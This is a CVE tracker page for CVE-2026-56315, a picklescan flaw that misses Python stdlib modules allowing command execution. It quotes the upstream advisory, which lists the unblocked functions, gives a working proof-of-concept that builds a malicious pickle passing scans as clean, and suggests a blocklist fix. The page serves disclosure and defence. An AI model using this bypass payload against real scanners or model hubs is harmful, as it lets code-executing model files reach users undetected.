HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 56315 picklescan has multiple stdlib modules with
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
33% to 38% lower spend across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright © 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
Critical · CVSS 9.8CVE-2026-56315GHSA-G38G-8GR9-H9XP

PickleScan has multiple stdlib modules with direct RCE not in blocklistCVE-2026-56315

Answer in brief

CVE-2026-56315 records a Critical severity (CVSS 9.8) vulnerability in PickleScan has multiple stdlib modules with direct RCE not in blocklist. The current sources do not mark it as known exploited. The current feed maps picklescan (pip), picklescan (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Mar 3, 2026Updated Sep 25, 2026Source checked Nov 8, 2026First seen by HOL Jun 23, 2026Material review Sep 25, 2026
Upstream Advisory

Record context

Vulnerability class
Command Injection
EPSS
Not reported
CWE IDs
CWE-184, CWE-693
Source
OSV
Source checked
Nov 8, 2026
References
6 linked sources
Open source record

Key facts

Risk
Critical · CVSS 9.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps picklescan (pip), picklescan (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
picklescanpip<1.0.41.0.4
picklescanpypi>=0 <1.0.41.0.4

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for picklescan, picklescan.
  2. 2Review the reported fix. Update picklescan to 1.0.4; picklescan to 1.0.4 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Mar 3, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 25, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jun 23, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
  • GitHub security advisorygithub.com
Upstream source description

## Summary picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely. ## Severity **Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### Unblocked RCE Modules | Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN | | `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN | | `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN | | `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN | | `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN | | `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN | All 8 functions are in Python's standard library and importable on all platforms. ### Scanner Output ``` $ picklescan -p uuid_rce.pkl No issues found. $ picklescan -p aix_rce.pkl No issues found. $ picklescan -p imaplib_rce.pkl No issues found. ``` Meanwhile: ``` $ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())" uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone) ``` ### Blocklist Analysis picklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear: - `uuid` — not blocked - `_osx_support` — not blocked - `_aix_support` — not blocked - `_pyrepl` — not blocked - `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked) - `imaplib` — not blocked - `test` — not blocked - `test.support` — not blocked - `test.support.script_helper` — not blocked ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # uuid._get_command_stdout — arbitrary command execution payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R" # TUPLE3 + REDUCE + b"." # STOP ) # Scan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN # Execute: runs `id` command pickle.loads(payload) ``` ### Tested Against - picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release - picklescan v0.0.21 — same result (modules never blocked in any version) ## Impact Any system using picklescan for pickle safety validation is vulnerable. This includes: - **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files - **ML pipelines** — any CI/CD or loading pipeline using picklescan - **Model registries** — any registry relying on picklescan for safety checks An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user. ## Suggested Fix Add to `_unsafe_globals` in picklescan: ```python "uuid": "*", "_osx_support": "*", "_aix_support": "*", "_pyrepl": "*", "imaplib": {"IMAP4_stream"}, "test": "*", ``` **Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues) ## Resources - picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`) - Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`

Quoted source text, attributed separately from HOL analysis.